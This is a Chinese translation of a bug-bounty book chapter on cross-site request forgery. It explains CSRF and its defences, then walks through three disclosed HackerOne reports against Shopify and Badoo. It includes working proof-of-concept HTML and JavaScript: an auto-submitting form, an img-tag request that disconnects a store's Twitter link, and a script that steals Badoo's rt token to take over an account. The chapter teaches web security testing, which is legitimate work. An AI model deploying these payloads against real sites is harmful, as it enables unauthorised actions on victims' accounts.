企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
# 八、跨站请求伪造 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 跨站请求伪造,或 CSRF 攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户的 Web 浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通常会在用户不知道操作已经执行的情况下发生。 CSRF 攻击的影响取决于收到操作的站点。这里是一个例子: 1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。 2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。 3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob 银行会话的 Cookie 信息。 4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token 的情况下处理了转账。 更有意思的是这个想法,也就是恶意网站的链接可以包含有效的 HTML,`<imgsrc=”www.malicious_site.com”>`,并且并不需要 Bob 点击链接。如果 Bob 的设备(例如浏览器)渲染了这个图片,它会向`malicious_site.com`发送请求,来完成 CSRF 攻击。 现在,知道了 CSRF 的危险之后,它们可以以多种方式防范。最流行的方式大概是 CSRF Token,它必须随着潜在的数据修改气你去一起提交(例如 POST 请求)。这里,Web 应用(例如 Bob 的银行)会生成一个两部分的 Token,一个 Bob 会收到,另一个由应用保管。 当 Bob 试图提交转账请求时,它就需要提交 Token,银行会验证它这一边的 Token。 现在,对于 CSRF 和 CSRF Token 来说,跨域资源共享似乎越来越普遍了。或者只是我注意到是这样。本质上,CORS 限制了资源,包括 JSON 响应,被外域访问。换句话说,当 CORS 用于保护站点时,你就不能编写 JavaScript 来调用目标应用,读取响应或者进行另一个调用,除非目标站点允许。 似乎这非常令人混乱,使用 JavaScript,尝试调用` HackerOne.com/activity.json`,读取响应并进行二次调用。你也会在下面的例子 #3 看到它的重要性,以及潜在的原理。 最后,重要的是要记住(感谢 Jobert Abma 补充),并不是每个不带有 CSRF Token 的请求都带有 CSRF 问题。一些站点可能执行额外的检查,例如比较 Referer 协议头(虽然可能出错,并且有一些绕过它的案例)。它是一个字段,标识了链接到被请求资源的页面地址。换句话说,如果 POST 调用中的 Referer 并不来源于收到 HTTP 请求的相同站点,站点可能不允许该调用,因此能够完成和验证 CSRF Token 的相同操作。此外,不是每个站点在创建或者定义 Token 时都使用`csrf`术语。例如,在 Badoo 它使用`rt`参数,我们下面会讨论。 > 链接 > 查看 [OWASP 测试指南](https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29)。 ## 示例 ### 1\. Shopify 导出已安装的用户 难度:低 URL:`https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users` 报告链接:`https://hackerone.com/reports/96470` 报告日期:2015.10.29 奖金:$500 描述: Shopify 的 API 提供了一个终端,用于导出已安装用户的列表,通过上面给出的 URL。在站点能够调用该终端,并且读取信息的地方存在漏洞,因为 Shopify 在该调用中并没有包含任何 CSRF Token 验证。所以,下面的 HTML 代码可以用于代表任何未知受害者提交表单。 ```html <html> <head><title>csrf</title></head> <body onLoad="document.forms[0].submit()"> <form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET"> </form> </body> </html> ``` 这里,通过仅仅浏览站点,JavaScript 就会提交表单,它实际上包含 Shopify API 的 GET 请求,使用受害者的浏览器,并提供 Shopify 的 Cookie。 > 重要结论 > 扩展你的攻击领域,并从站点转向它的 API 终端。API 提供了极大的漏洞可能性,所以最好牢记他,尤其是当你知道 API 可能开发完毕,或者在站点实际开发之后可用的时候。 ### 2\. Shopify Twitter 断开连接 难度:低 URL:`https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect` 报告链接:`https://hackerone.com/reports/111216` 报告日期:2016.1.17 奖金:$500 描述: Shopify 提供了 Twitter 的继承,来允许店主转推它们的商品。与之相似,也提供了功能来断开推特账户和被连接商店的链接。 断开 Twitter 账户的 URL 卸载了上面。当进行调用时,Shopify 不验证 CSRf Token,这可能会允许恶意人员代表受害者进行 GET 调用,因此断开受害者的商店与 Twitter 的连接。 在提供这份报告的时候,WeSecureApp 提供了下面的漏洞请求示例 - 要注意下面的`img`标签的使用,它对漏洞 URL 进行调用: ``` GET /auth/twitter/disconnect HTTP/1.1 Host: twitter-commerce.shopifyapps.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0 Accept: text/html, application/xhtml+xml, application/xml Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://twitter-commerce.shopifyapps.com/account Cookie: _twitter-commerce_session=REDACTED Connection: keep-alive ``` 由于浏览器进行 GET 请求来获取给定 URL 处的图片,并且不验证任何 CSRF Token ,用户的商店现在已断开连接: ```html <html> <body> <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"> </body> </html> ``` > 重要结论 > 这种情况下,这个漏洞可以使用代理服务器来发现,例如 Burp 或者 Firefox 的 Tamper Data,来观察发送给 Shopify 的请求,并主要到这个请求使用 GET 方式来执行。由于这是个破坏性操作,而 GET 请求不应该修改任何服务器上的数据,这应该是一些需要关注的事情。 ### 3\. Badoo 账户的完整控制 难度:中 URL:`https://badoo.com` 报告链接:`https://hackerone.com/reports/127703` 报告日期:2016.4.1 奖金:$852 描述: 如果你仔细检查 Badoo ,你会发现,它们通过包含 URL 参数`rt`来防御 CSRF,它只有 5 个位数(至少在我写这篇的时候)。虽然我在 Badoo 入驻 HackerOne 的时候就注意到了,我并没有找到利用它的方式,但是`zombiehelp54`找到了。 发现`rt`参数以及其值之后,它也注意到了,参数一户在所有 JSON 响应中都返回。不幸的是,这并没有什么帮助,因为 CORS 保护了 Badoo,攻击者无法读取这些响应,所以它继续挖掘。 最终,文件`https://eu1.badoo.com/worker-scope/chrome-service-worker.js`包含了`rt`值。更好的是,这个文件可以由攻击者任意读取,而不需要受害者做什么,除了浏览这个恶意页面。这里是它提供的代码。 ```html <html> <head> <title>Badoo account take over</title> <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript> </head> <body> <script> function getCSRFcode(str) { return str.split('=')[2]; } window.onload = function(){ var csrf_code = getCSRFcode(url_stats); csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code; window.location = csrf_url; }; </script> ``` 本质上,当受害者加载此页面时,它会调用 Badoo 的脚本,为用户获取`rt`参数,之后代表受害者进行调用,这里,它将受害者的账户链接到了攻击者的,本上上完成了账户的控制。 > 重要结论 > 无风不起浪。这里,攻击者注意到了`rt`参数在不同位置返回,特别是 JSON 响应,因此,它正确猜测了,它可能出现在一些可以利用的地方,这里是 JS 文件。 > 继续干吧,如果你觉得一些东西可能会发生,一定要继续挖掘。当你访问目标站点或应用时,使用 Burp 检查所有被调用的资源。 ## 总结 CSRF 表示另一个攻击向量,并且可能在受害者不知道,或者不主动执行操作的情况下发生。CSRF 漏洞的发现可能需要一些机智,同样,也需要测试任何东西的渴望。 通常,如果站点执行 POST 请求,Web 表单都统一由应用框架保护,例如 Rails,但是 API 又是另外一个事情。例如, Shopify 使用了 RoR 编写,它对所有表单默认提供了 CSRF 保护(当然也可以关掉)。但是,显然意见,这对于使用框架创建的 API 不一定成立。最后,一定要观察任何通过 GET 请求执行的,修改服务器数据的调用(例如删除操作)。